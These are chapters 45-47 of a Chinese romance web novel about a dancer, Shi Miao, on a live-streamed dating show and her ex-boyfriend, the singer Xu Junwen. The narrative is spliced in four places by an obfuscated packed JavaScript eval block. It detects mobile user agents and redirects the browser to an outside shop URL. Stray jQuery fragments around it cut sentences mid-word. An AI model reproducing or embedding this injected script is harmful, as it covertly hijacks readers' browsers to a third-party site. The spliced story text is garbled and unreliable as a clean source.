然后她摆出一脸无辜:“许老师不是不喜欢百合花么。” 许钧闻表现出了一点无奈的样子:“倒也不是不喜欢,因为家里的猫之前偷溜出去,那几天刚找回来,还在气头上,心情不太好。” 「啊,哥哥家里养猫啦!」 「冷面酷哥+粘人小猫,画面感有了!」 「之前怎么没听说过哥哥家里有猫啊?是刚刚开始养的吗?好想看看哥的小猫长什么样子啊!工作室赶紧出来营业了,不让我看哥的照片让我看看哥的猫也行啊!」 「世界的尽头是猫奴!hhhhh想到许钧闻跟在猫主子后面伺候的样子,忽然觉得有点可爱了呢~」 「居然会因为小猫偷溜出去走丢生闷气,许钧闻,你还有什么可爱的小秘密没有告诉我们!」 时缈差一点绷不住表情,瞪了一眼许钧闻。 他什么时候养过猫! 别以为她听不出来他到底是在指代什么! 而守在直播间内的豪哥则是烦躁地抓了抓头发,立刻打电话给工作室新来的实习生:“给许钧闻买一只猫回来!明天立刻去办!” 真是艺人一张嘴,经纪人跑断腿。 可偏偏镜头画面里的人笑得云淡风轻。 “早知道大家都喜欢,我们回来之前就顺路多买一些了。” 白景川上前半步,和时缈并肩。 虽然话里说的是“大家”,可目光却一直停留在许钧闻的身上。 之前碰见许钧闻以“要甜品店铺链接”为借口要时缈联系方式的时候,白景川就隐隐察觉到了一些不大对劲的氛围——他们之间仿佛有一种独特的气场,能够将其他人排除出去的氛围,但从理论上讲,那并不应该是新认识的明星和素人之间会有的氛围。 他在金融行业,每天也要面对形形色色的客户,察言观色的本事不比娱乐圈的人精差。在后面几次和许钧闻打上照面的时候,白景川也敏锐地感觉到许钧闻对他的态度有些微妙。 终于,在一段时间的观察以及今天的试探之后,白景川对于这两人之间的关系也有了自己的猜测—— 恐怕许钧闻口中那个要做他情歌第一个听众的女孩,就是时缈了吧。 不知道节目组有没有对嘉宾们进行过详细地背调。 白景川对上许钧闻的眼神,推了下自己的眼睛,轻笑了一下。 现在这个状况,有点意思了。 比屏幕上面起伏波动的A股线还要刺激。 或许是男人面对同类时会产生一种莫名的直觉。 许钧闻的目光在半空中与白景川相撞,谁都没有率先挪开,仿佛这是一场无声的角逐,谁先移开视线,就率先落了下风。 “不用这么麻烦,大家都是朋友,随意分我两支就行了,枯了再换新的就行了” 许钧闻挑了下眉。 “朋友”两字在别人听起来没有问题,但落在白景川的耳中,就多了几分别的意味。 听着这两个男人之间你来我往的对话,时缈站在一旁几乎是一个头两个大。 别人或许不知道,但以她对许钧闻的了解,他这时候说这些话,摆明了就是有意要说给白景川听的。 时缈只想赶紧离开这个是非之地。 她看向沙发上正在吃水果的温璐:“璐璐,记不记得之前的空花瓶放在哪里了?我有点想不起来了,能陪我去吗?” “OK,没问题。”温璐起身,挽住她的手臂,笑嘻嘻地看了一眼白景川,“白哥,人我先带走了哦?谢谢白哥的花咯。” “……” 姐妹,这话你倒也不必说。 时缈都不用去看,就知道许钧闻此时的眼神一定很微妙。 为了不让事态继续朝着她难以控制的方向发展,时缈忙不迭地拉着温璐逃离了现场。 * 随着节目进入到后半程,约会的分组也不像刚开始时那么随机,更多的是优先考虑已经“心有所属”的嘉宾们的个人意愿。 这就导致,时缈面对着目前自己桌面上两张邀请卡陷入了纠结的漩涡中。 “哎哟哟,甜蜜的烦恼哦。”温璐笑着打趣。 时缈深深叹了口气:“可别开我玩笑了。你说,我现在应该怎么办?” 经历了之前那场双人火锅店约会之后,时缈以为白景川已经明白自己的意思了。那天晚上,时缈的匿名短信虽然仍是选择发给了白景川,但所有人都看得出,那条短信仅仅是出于收到邀约后的一个礼貌感谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13651219|138976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 并且时缈也在信息里明确表达了“希望能够和你成为很好的朋友”这样的话。 在所有人眼里,时缈那天晚上的表现就是非常明确的拒绝了。 可白景川在这一次的约会邀请时,选择的邀请对象仍然是时缈。 “说实话,白哥其实也不错啊,你之前不是说么,谈恋爱的话还是找一个情绪稳定、绅士包容的比较好。我看白景川就挺符合你说的那些标准的啊。”温璐有些不解。 「这个节目真的很绝,我第一次看恋综发展过半之后,一对双向锁死的cp都没有的。」 「所以这才是真正的“无剪辑无剧本”吗,那我之前真情实感追过的那些cp到底都算什么呜呜呜呜呜……」 「其实这才是日常生活中的常态吧,自己喜欢的人不喜欢自己,喜欢自己的人自己不喜欢,所以才会有越来越多的人选择单身,宁愿一个人独处,也不想和一个自己不是那么喜欢的人将就。」 “我当然知道白哥是一个很好的人,和他相处起来也确实没什么压力。” 说到这里,时缈微微一顿,像是回忆了一些什么,而后低笑一声:“真正开始对一个人心动的时候,其实是很难在他面前没有压力的吧?” 哪怕对方并没有出现在自己面前,仅仅只是发来了一条简简单单的好友申请,都足够让她的大脑在那一刻有一瞬间的空白—— 在酒吧给许钧闻点了一杯“旷野枯潮”后的第二天,正在上课的时缈手机忽然开始疯狂震动,数条消息涌入,她摸出手机略扫一眼,“新的朋友”那一栏后面冒出了一个红色的“1”,其余消息则全部来自于顾梦瑶: 「顾梦瑶:对不住了姐妹!下次请你吃大餐!」 「顾梦瑶:我知道我应该先问问你的意见,但是实在是难抵美□□惑了呜呜呜呜呜TVT」 「顾梦瑶:不过我觉得,我办的也许并不是件坏事吧……双手合十.jpg」 时缈并没有先点开好友申请的小红点,而是先点开了好友的聊天框。 在看见对面一条一条冒出来的没头没尾的句子,时缈不明所以地回了一个“?”。 那边解释得很快,时缈甚至怀疑,这大概是顾梦瑶此生打字速度最快的一刻: 「顾梦瑶:那什么,上公共选修课的时候碰见了一个人,那人问我要你的联系方式,我一个抵抗不住,就把你的微信供出去了。」 「顾梦瑶:不过你不想通过也是可以的!」 时缈没有立刻回复。 而是点开了好友申请的提示、 申请添加她的用户,头像是一把靠墙竖放的吉他,吉他顶端还挂着一顶黑色鸭舌帽。 用户名简简单单两个字母:Xu。 时缈心头一跳。 她甚至不知道自己当时脑袋里到底在想什么,只是当她重新反应过来时,许钧闻的对话框已经大喇喇地躺在她的消息列表最上方了。 「Xu:今晚有空吗?」 他甚至没有自报家门。 仿佛笃定时缈知道他是谁似的。 时缈斟酌了好一会儿,最后只是回复: 「时缈:什么?」 什么意思? 要干什么? 「Xu:有空的话来听歌吧,我有首新歌,我觉得你也许会喜欢。」 45. 45首情歌 虽然是一句邀约,可整个句子里连个问号都没有。 就好像他笃定时缈一定会答应似的。 真自信啊。 时缈看着对话框中的内容不免腹诽。 不过也是,光凭那张脸,许钧闻就已经有了无往而不利的资本。 最终她当然是答应了许钧闻的邀约。 不过可不是为了和他见面,主要是有些好奇他所说的那首新歌到底是什么而已。 时缈至今仍能回忆起那时候去赴约时的心情—— 愉悦、紧张,以及一些不可名状的胜负欲。 总之不可能是百分之百的轻松和自在。 “白景川是一个很合适的恋爱对象。” 多金、帅气、情绪稳定的同时也有一些恰到好处的幽默风趣,对方的这些优点时缈必须要承认。 时缈垂着眸子看着桌上玻璃花瓶中被她重新修整过一遍的百合花。 “但可能我们之间还是差点缘分吧。” 她轻声说。 如果没有重新遇见许钧闻的话,她或许会考虑接受白景川这样的人。 虽然这样或许对对方有些不公平,但如果没有和许钧闻重逢,她会像每一个红尘世俗中的普通人一样,按部就班地过完一生,将那轮遥不可及的月亮掩埋在回忆的最深处,直到生命的尽头。 可这个世界上没有如果。 命运让她和许钧闻再次重逢,就意味着她和白景川有缘无分。 “我不想因为这个节目只有四男四女从而强行要和他绑定配对,这样是对我们两个人的不负责任,也是对他将来离开节目后遇见的那个人不负责任。” 时缈的语气柔缓又真挚:“就像大家一致认为的,白景川是一个很好的人,他也一定值得一个全心全意对他心动的人。” 「好家伙,姐姐好温柔啊……」 「我要为时缈这段话举大旗!不是进到恋综就一定要找一个cp绑定的!我们观众喜欢看的是帅哥美女真心谈恋爱,而不是在录制期间给我演戏看的!要看戏的话我怎么不去看偶像剧啊!」 「笑的,这是我追过的第一个四个女嘉宾三个都没有心动对象的恋综哈哈哈哈哈,感觉接下来把这个节目当成普通的明星素人合宿真人秀看就好了!友情line冲鸭!」 「不觉得这话说得很搞笑么,不谈恋爱的话来恋综干什么啊?退出录制回家不就好了吗?」 「额……某区不是有爆料贴说这姐原本是打算退出的吗,不会就是因为没找到喜欢的对象所以选择离开了吧?」 「要真是这样的话不也挺好?省得在这里耽误自己和别人的时间了。」 虽然网上也有一些尖酸刻薄的反对的声音,但大部分观众还是很能理解时缈的想法—— 如果没有真正喜欢的对象,又何必非要在节目里绑定一个异性强行演一些亲密无间的戏码给观众看呢?他们又不是演员。 “虽然话是这么说啦,”温璐的指尖在桌面上敲了敲,“这两张邀请卡你可是躲不掉哦。” 对上时缈的苦笑,温璐朝她比了个“加油”的姿势:“去吧姐妹,我会在精神上为你加油打气的!” * 根据节目组制定的规则,这两个约会邀请时缈依然都不可以拒绝。 带着复杂的心情,时缈收拾停当,前往了第一场约会的地点。 “别太紧张,”见到时缈后,白景川像是看穿了她的想法,主动打了个圆场,“就当是朋友之间的一个小聚,随意一些就好了。” 时缈认真看着白景川的表情,见他神情自然又坦荡,心里的负担稍稍卸下几分:“谢谢你啊,白哥。” 之前,时缈对他的称呼还是相对较为亲近的“景川”,现在,为了不让白景川以及节目的观众再对他们之间的关系产生过多的联想和猜测,时缈索性跟其他人一起称他为“白哥”。 「救命,我的cp是真的be了嘛,都开始叫x哥了,还有什么比这种称呼更有性缩力的嘛呜呜呜呜。」 「该说不说,时缈在这一点上做得还挺好的,决定要做朋友了就迅速划清界限,不要拖泥带水对所有人都好。」 白景川自然也察觉出了时缈态度的变化,但他并没有表示出来,一整场约会仍然表现得体贴温和,让人挑不出差错。 “玩得开心吗?” 约会结束后,白景川笑着问她。 “挺开心的,谢谢你准备的这些活动。”时缈从他手里接过自己的包包,也回以灿然的笑容。 “你开心就好,也不枉我精心准备了一番。” 白景川将她送上了节目组的车——时缈还要赶赴下一场约会。 “晚上见。”他站在车外朝时缈招招手。 时缈也挥手:“晚上见。” 车窗外的风景飞快掠过,负责跟她的PD小姐姐引导时缈和镜头互动:“马上就要到第二场约会的地点了,对下一场约会有什么期待吗?” 时缈歪了下头,思考了一下,而后不好意思地笑笑:“我希望下一场约会不要再安排太多吃吃喝喝的活动了,来录节目这半个月,我已经长胖不少了,要是再这样吃下去,等节目结束我回舞团上班的时候恐怕要被团长她们笑话了。” 「哎?舞蹈行业里对编导也有体型的要求吗?我一直以为只要求演员的身材呢。」 「虽然没有那么严格的要求,但很明显时缈自己也是有一定舞蹈功底的,对自己的身形有要求也是一件很正常的事情吧。」 「每次都很羡慕美女们的身材,但一想到这是用忌口和锻炼换来的,我就会觉得,活该美女们瘦啊!那些水煮菜、健身餐真的是人能吃下去的嘛!」 很快,节目组的车子转过了个路口,前方一个半圆形的拱门渐渐出现在时缈的视野里。 江城科技大学。 时缈挑了下眉。 入住后大家互相介绍自己的信息时,她记得周璨说自己目前是这所学校的研二在读学生。 「校园约会!芜湖,小周同学有点子纯情哦!」 「这时候就能看出学生和社会人之间的差别了,社会人:烛光晚餐玫瑰花,学生:校园操场压马路,哈哈哈哈哈。」 「怎么了怎么了,校园恋情多美好啊,校园恋情才是一生中最纯洁美好的感情好不好!」 待车停稳后,时缈推开车门下了车。 路上三三两两的学生走过,大概是知道这边正在做节目直播,因此尽管众人注意到了这边,也没有人上前打扰,只是站在不远处好奇地注视着时缈,时不时小声和同伴交流几句。 弹幕上渐渐出现了新的声音: 「啊啊啊啊啊,我就在现场,刚才那个粉衬衫的就是我!」 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13659807|138976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 「这算不算是我的“综艺首秀”?」 「哥们儿,我也在,就在离你不远的那棵大榕树的下面。」 「我也在!没想到时缈真人看起来比镜头里还好卡耶,我之前一直以为是节目组的灯光以及直播间的滤镜对嘉宾们的颜值有加成,直到刚才和时缈小姐姐打了个照面,我的妈,真人比直播间里还好看!腿长腰细,白到发光的那种!」 沿着校园小径走了一段,远远的,时缈看见了等在那里的周璨。 周璨穿了一件深蓝色卫衣,搭配了一条黑色工装裤,踩着一双黑色马丁靴,浑身少年人的青春朝气。 逆着光,时缈看着周璨的身影,竟有了一瞬间的恍惚—— 差点以为真的回到了自己的学生时代。 终于,她走进,周璨将怀里的花束递给时缈:“来啦,姐姐。” 和白景川送的那束花不同,周璨选择的花束,主花是三朵向日葵,周围围绕着粉色的香槟玫瑰,花朵中间用尤加利叶和小雏菊填满作为点缀。 如果说白色百合代表了纯洁和优雅,向日葵和玫瑰就象征着热烈与明艳。 截然不同的两束花。 截然不同的两个人。 「天呐,时缈真的吃得太好了,求求了能不能换我进去演两集,我好喜欢年下小奶狗!」 「年上vs年下,这谁选得出来啊!」 「醒醒,前面的,年上已经出局了好吧,现在是年下的天下了!」 「也不一定吧,我看之前的约会里时缈也没有对周璨表现出很明显的喜欢或者好感啊,说不定姐就是都不喜欢呢,谁说拒绝了年上就一定要选年下的?」 “谢谢,花很好看,”时缈将花束接过来,笑吟吟地同他打招呼,“看见车子开到你们学校大门口,我还以为你会带我去参观一下实验室什么的。” 她记得,周璨当时自我介绍的时候,提到自己的研究方向,似乎是与机械自动化相关的内容。 “那我未免也太无趣了。” 周璨笑起来,整一个活泼开朗小狗的样子。 “之前一直没有机会,今天带你来参观一下我的学校,顺便带你看看我在学校的时候日常都做些什么。” “研究生,难道不是天天待在实验室里做研究的吗?” 时缈挑眉:“我有朋友是学工科的,考研之后发的朋友圈,不是在实验室里测数据,就是在去实验室测数据的路上。我还以为你们工科专业的研究生都是那样呢。” “当然不是。” 周璨挑眉,带着时缈走到了停车区,从一排排自行车、电动车之间,推出了一辆黑色的山地自行车。 车子后面还有一个后座。 「这种车型后面居然有座位?我怕不是买了一辆假车。」 「很显然,那个车后座肯定是后面加上的嘛。」 「哦吼,每天骑着山地车帅气漂移着上学的男生,为了载自己喜欢的小姑娘,特地在山地自行车后面加了一个后座,这是什么纯洁校园言情故事啊!」 和弹幕里一样,时缈看着周璨推出来的车子,挑了下眉:“这个车后座……不是原装的吧?” 周璨“嘿嘿”一笑:“这都被发现了?” 他拍了拍那个后座坐垫,朝时缈扬了下头:“上车吧姐姐,带你在学校里兜兜风咯。” 46. 46首情歌 “这里是我们江城科大非常有名的一个‘网红打卡点’,听雨湖,当然,它还有另一个名字……” 参观完周璨的实验室,他带时缈来到了学校的湖边。 时缈看了看湖水,又看了看周璨有点卖关子的小表情,玩笑道:“该不会它的另一个名字叫‘情人湖’吧?” 将周璨惊诧的表情尽收眼底,时缈也一愣:“不会还真的是吧?” 拜托,什么“情人湖”“情人坡”之类的是什么大学必备时尚单品吗?怎么感觉每个学校都有一个叫这种名字的地方啊? 「笑死了,你们看美女的表情,感觉都能看出时缈的脑内弹幕:不是吧不是吧,真的叫这个啊?」 「所以是不是每个学校都有这么一个地方?专供小情侣们约会的地方统称“情人x”是吧哈哈哈哈哈!」 「该说不说,我们也有……就是个小破池子,硬生生的被叫成“湖”了。」 「我们也有……」 「+10086」 “是不是有点土?”周璨揉了揉自己的头发,嘿嘿一笑。 时缈也忍不住笑出声:“倒不是土,就是觉得挺有趣的,好像全国的大学都有这么一个地方,连命名都如出一辙。” “你们学校以前也有吗?”周璨好奇道,“今天光是我在说,都没有问过你的大学生活。” 时缈摇头:“我们学校是个纯艺术院校,招生人数和规模比不上你们这种综合性大学,学校的面积也比你们小很多,所以我们倒是没有这么大的湖。但是……” 时缈说到这里,忽然顿了一下。 “但是我听说过别的学校也有这种情侣打卡点,什么情人湖、情人坡之类的,我闺蜜她们学校就有一个,可能因为我总是听她提起,所以印象比较深刻吧。” * 顾梦瑶是在她面前提起过好几回:“嚯,你都不知道啊亲爱的,一到晚上,那湖边的小情侣简直比蚊子都多,咬得比蚊子都狠!” 时缈推了推顾梦瑶的手臂,笑骂道:“你这是什么比喻啊,恶心死了。” “真的,有机会我带你去看一看,你就知道我的形容根本不是夸张。” 彼时,顾梦瑶信誓旦旦地承诺说要带时缈去云京大学的“情人湖”看看。 但最终,时缈是和许钧闻一起去到那个湖边的。 “之前瑶瑶说你们这个湖边一到晚上情侣比蚊子都多,我还不信,现在看起来,倒还是我错怪她了,她的形容简直精准。” 时缈环顾了一圈,湖边都是牵着手散步的男男女女,树影深处,还有两个相拥在一起的影子。 许钧闻捏了捏她的手指:“怪不得你说想来这里看看,原来是为了验证你朋友的话是真是假啊。我还以为你是想和我来湖边约会呢。” 时缈牵着他的手晃了晃:“就不能同时完成这两件事吗?” 许钧闻停下脚步,转身面向她,捏着她的脸颊凑近:“好啊,时缈,和我谈恋爱这么讲求效率啊?” 时缈颊侧的软肉被捏起来,说话都变得有些含糊:“谁能有你效率高啊,追女朋友也只用了两首歌的时间。” 许钧闻挑眉:“难道不是我们心有灵犀、两情相悦?” 时缈轻哼一声:“那是我色迷心窍、色令智昏。” “那现在呢?”许钧闻的鼻尖碰着她的鼻尖,说话时呼出的气息扑在她脸上,热热的、痒痒的,“还是色令智昏?” “昏啊,”时缈轻笑,主动凑上去亲了亲他的唇瓣,“所以你要一直保持住,最好是能让我昏一辈子。” “好。” 许钧闻吻住她的唇瓣,和所有情人湖边热恋中的小情侣一样。 其余字句通通被辗转碾碎: “我一定努力,争取让我们未来的舞蹈艺术家时缈老师昏一辈子。” * “是嘛,那你的好朋友在哪个学校啊?那里的湖和我们学校的湖哪个比较好看一些?”周璨饶有兴致地追问。 “云京……”时缈反应过来时,答案已经说出口了一半,现在再改口就显得更奇怪了,只好硬着头皮接下去,“云京大学。” 时缈在内心暗自祈祷。 在云京上学的人那么多,云京大学又是个全国顶尖级的学府,应该不会有人仅仅通过学校的名字就把她和许钧闻联系到一起的吧? “哟,云京大学。” 观察室内,程子归拍了下手:“这不是你母校吗?” 许钧闻点点头:“的确。” “那你们学校那个情人湖,你去过没?”程子归不怀好意地笑笑,“这个是能说的吗?不会下了节目之后我就要收到你经纪人的律师函警告了吧?” “没什么不好说的啊,”许钧闻大大方方点点头,“去过。” “和之前的女朋友?” “对。” 「好好好,刚从林问和罗艺亭的直播间里吃糖吃到齁,跑来观察团的直播间看一眼,发现这里也在撒狗粮,撒的还是过期狗粮,而我,只是一个可怜的母胎单身狗。」 「所以有没有云京大学的校友们来说说,当时有没有在学校的情人湖边遇见过许钧闻啊,有没有人见到过他当时的女朋友长什么样?」 「那都得是七八年前的事情了吧?」 「还真没见过,实在太好奇了!我还是头一次这么希望前嫂子站出来认领恋情的!」 他带时缈去云京大学的次数不多。 大部分时间里他们都各自忙于各自的专业课,时缈时不时还要去演出、培训,因此两个人大部分时候都是在酒吧或者他的出租屋碰面。 唯一那次带时缈走过云京大学的情人湖,是他有一节专业选修课被安排在了晚上,时缈晚功结束后来学校等他时,提到她的朋友经常和她说起晚上下课后在情人湖边看到的八卦,就撒娇要他带她去看一看。 那其实也是许钧闻第一次去情人湖。 以前只觉得这种被无端赋予浪漫意义的普通景点无聊且俗气。 但也是那一次,许钧闻忽然在这种有些俗气的浪漫故事里找到了几分乐趣。 “看不出来,你居然也是一个会去这种地方约会的人哦。”程子归打趣道。 许钧闻挑眉:“她想去,就陪她去了。” “啧啧啧,”程子归摇摇头,打趣道,“说得好像你不喜欢一样。” “喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13667230|138976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不喜欢,看跟谁吧。” 许钧闻抱着手臂开玩笑:“要是跟豪哥的话,那我可能就不会喜欢了。” 「豪哥:你礼貌吗?」 「笑死,为什么在这种时候拉踩我们豪哥啊哈哈哈哈哈,心疼咱们豪哥三秒钟。」 全程观看直播的豪哥:……毁灭吧,这工作他也是有点不大想干了呢。 * 于是当晚,不出所料的,许钧闻这个名字再一次出现在热搜之上。 #许钧闻情人湖# #许钧闻她想去就陪她去了# #许钧闻跟豪哥还是算了# 时缈敷着面膜,仰面躺在床上,回复顾梦瑶的微信。 今晚的匿名短信,她选择发给了周璨,认真措辞了一番,既表达了对周璨今天的照顾的感谢,也没有任何越界或暧昧的信号。 收看直播的观众们纷纷被时缈编辑短信时的表情笑到: 「看这个表情,已经知道姐姐有多纠结了哈哈哈哈哈」 「所以看这意思,姐就是既不喜欢直球哥,也不喜欢小奶狗呗?」 「那姐姐到底喜欢什么样的男生啊?」 「姐是搞艺术的,估计更喜欢有艺术细胞的男生吧?」 「那薛明浩不是挺艺术的吗?还会画油画,这姐姐也不喜欢啊!」 「顾梦瑶:你和许钧闻是不是在我不知道的时候发生了什么?」 「顾梦瑶:我总觉得他在对着镜头开屏!」 对话框里附上了几张微博截图。 「顾梦瑶:好在,现在网友们都以为许钧闻的前女友也是云京大学的,暂时还没有往其他方向去猜。」 「时缈:心累.gif」 「时缈:自从在谷峪勒碰上那场地震之后,这家伙就怪怪的。」 「顾梦瑶:你没跟他聊聊?我感觉他就是对你还有意思,既然你们两个都是这么想的,就早点聊开早点和好呗。」 「时缈:还没。」 「时缈:不太敢聊。」 「时缈:上次他问我到底为什么提分手,我没全说真话,如果我们要聊,肯定又要提起那些事,我不太敢说。」 「顾梦瑶:……好吧,看你自己咯,如果你们要和好,那早晚要把那些事都聊清楚的。」 时缈叹口气。 她何尝不知道这个道理。 大概这也算是一种,近乡情怯吧。 「时缈:等节目结束之后吧,在节目组这边人多眼杂的,我们两个也没法静下心好好聊。」 和顾梦瑶互道晚安之后,时缈揭下面膜,洗了把脸准备下楼倒杯水喝。 俯身接水的间隙,时缈还在回忆和顾梦瑶刚才的那场谈话。 有些问题,始终是他们两个人之间避不开的。 她不想提起当初那场事故,一是因为那也是她不想回忆的痛苦过去,二是不希望时隔六年许钧闻还要为当年的事情内疚伤心。 既然都过去这么久了,时缈不忍心再将双方都拖回难过的漩涡之中。 正出神想着,身后一道要笑不笑的声音慢悠悠地传来: “情人湖?” “玩得开心吗?” 47. 47首情歌 果不其然,时缈一回头,就看见许钧闻好整以暇地站在她身后不远的地方。 时缈的目光几乎是下意识的,绕过许钧闻的肩头,朝他身后看过去。 “没人,放心。” 许钧闻睨她一眼:“今天和你一起去逛情人湖的那位也不在,真可惜啊。” “许钧闻,”时缈捧着水杯,横他一眼,“幼不幼稚啊你。” 鲜少有人会说许钧闻“幼稚”。 绝大部分时候,他都是不羁、恣意、不受任何约束的那一个。尤其是在许钧闻宁愿伤筋动骨也要和前公司解约的事情一出,圈里人更是窥见了这家伙一丝本质—— 许钧闻这人,看上去对什么都不在乎,其实只是懒得计较,一旦有人踩到了他的底线,他就算是自损一千也非要伤敌八百不可。 锋利。 桀骜。 目中无人。 他们都是这样评价他的。 可那些人不知道,许钧闻这人也是有幼稚少年气的一面的。 只是这一面向来只对他最亲近的人展示。 很巧,时缈就是其中之一。 “是啊,我幼稚,怎么样?”许钧闻哼笑一声,睨着时缈,“我就问问你玩得开不开心而已,有什么不敢说的。” “哦,”时缈点点头,故意道,“挺开心的,你满意了?” “满意,满意得很。”许钧闻逼近几步,将时缈堵在饮水机和墙壁之间的夹角,“和当年比呢?是和他玩得更开心,还是和我玩得更开心?” 时缈将杯子举在胸前,以此隔开她和许钧闻之间的距离。 可对方身上那股清冽的薄荷混合着橙花的香气还是不依不饶地追了过来,和她发间玫瑰味洗发水的味道缠在一起。 “这也要比吗?”时缈眨眨眼,后背紧贴着墙壁。 “不是比,就是单纯地回访一下,收集一下用户反馈,以便将来给用户提供更好的服务体验而已。” 许钧闻非要和她斗嘴,并且将她所有的小动作尽收眼底,挑了下眉,嗓音低沉:“躲什么,不敢说?我又不会吃了你。” 时缈别开头,试图逃避他身上的气味的入侵,长睫颤动:“在这里聊这个没什么意义。” 许钧闻目光一瞬不瞬地看着她,不应声,也不退开。 时缈感觉时间在此刻仿佛凝滞,她不由自主地放轻了呼吸,试图关注周围一切风吹草动,可偏偏世界仿佛再此刻被按下了静音键,恍惚间她以为自己身处一个默片拍摄现场,唯一的对手演员就是眼前这个人。 她躲无可躲。 只能直面现实。 “你非要追问这种没有什么意义的事情,会让我觉得你还在意。” 时缈感觉自己的喉咙有点发干。 她原本不想说这种话的。 最起码,不该是现在,不该是在这里——不论是镜头的注视还是合同的约束,都让他们必须要在这段时间内扮演好自己应该扮演的角色:一个是来恋综“寻找爱情”的素人嘉宾,一个是“沉浸式收看”别人约会情况的观察员。 这幢别墅里有可能发生各式各样观众们喜闻乐见的故事,但没有任何一个剧本属于他们两个人。 “是啊,我在意。” 时缈一怔。 转过头看向许钧闻。 许钧闻那双潋滟的桃花眼将她的视线紧紧攫住,像是铺开了一张细密的大网,将她整个人裹在里面动弹不得。 许钧闻恐怕是这个世界上除了父母之外最了解她的人了—— 时缈是个什么样的姑娘呢? 别人对她好三分,她就要回以五分以上的热情,对她而言,最简单的方式不过是,真心换真心。 世人都说真心难得。 而许钧闻也自认,从小到大他看惯了成年人之间的虚与委蛇、暗潮涌动,最擅长的就是将自己的真实想法掩藏在桀骜不驯、放荡洒脱的外表之下。 他只有一颗真心。 不论是过去还是现在,他都愿意毫无防备地将它交到时缈的手中。 就像是亲手交给了她一把锋利的匕首,即便时缈要用这把匕首的刀尖对准他,许钧闻也认了。 谁让他爱她。 时缈曾经无数次被这双眼睛无比专注的注视过。 在昏暗的酒吧灯光下,在手牵手一起走过的每一条小路上,在傍晚金黄色光晕笼罩着的出租屋里。 在异国他乡那段时间里时缈的每一个梦里。 一阵熟悉的眩晕感铺天盖地地袭来,几乎要将她完全淹没。 许钧闻的目光坦然、直白、热烈、执拗,不见半分嘲弄或讥讽。 很多时候时缈都在想,他应该厌恶甚至憎恨她的。 可他偏偏没有。 他没有换过的舒缓贴品牌,提前准备的驱蚊包,沿用至今的支付密码都在反复向她证明,他现在说的这些话都是认真的。 忍心辜负如此真心的人一定会下地狱吧。 “从见到你的那一刻起我就开始在意了,否则你以为我为什么会和这个节目续约?” 许钧闻轻嗤一声:“你该不会以为我真的闲到没有其他工作可做了吗?拜托,时缈,你知道有多少音乐类综艺、影视剧主题曲、新专辑的录制、其他歌手的约歌都在后面排着队等我的档期吗?” 许钧闻一字一句说得缓慢,像是生怕她听不清楚一样:“我倒是想看看,在我眼皮子底下你到底还想和哪个,哦不,哪些野男人约会。” 或许是因为紧张,时缈试图通过纠正他的用词来转移许钧闻的注意力,也为自己难以平复的复杂心情寻找一个短暂的缓冲的时机:“什么叫野男人,许钧闻,我们已经分手了。” “六年。”她补充道。 许钧闻看出了她下意识流露出的逃避情绪。 可是他已经让她逃避了六年了。 “嗯,六年零三个月零十一天,还有两个小时,就到六年零三个月零十二天了。”许钧闻步步紧逼,“恐怕我记得比你清楚。” “我知道你上次并没有完全对我说实话,无所谓,对你,我有的是耐心。” 许钧闻单手撑着墙壁,投下来的影子几乎要将时缈整个罩住:“谷峪勒的那天晚上,我问你为什么朝反方向跑,你也没有回答我。哦,或者说是,没有来得及回答我。” “现在,我有第三个问题要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678278|138976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问了。” 时缈的声音极轻:“什么问题?” “我已经承认了,时至今日我依然在意你。” “那你呢?你在意吗?关于我们的过去,现在,以及将来,你在意吗?” 时缈的心脏随着许钧闻说话的节奏疯狂跳动,心跳声大到像是在叩击着她的耳膜。可偏偏即使她的心跳声如此之大,时缈还是将许钧闻的每一个字都听得清清楚楚。 “再一再二不再三了,时缈,我的三个问题,你总是要至少回答一个吧,”许钧闻叹口气,带着妥协与让步,“我对你已经够心软了吧。” 时缈闭了闭眼睛。 其实她清楚,许钧闻是故意要用这样的语气和她说话的,无非是想赌一手,赌她会心软,赌她也在意。 他赌赢了。 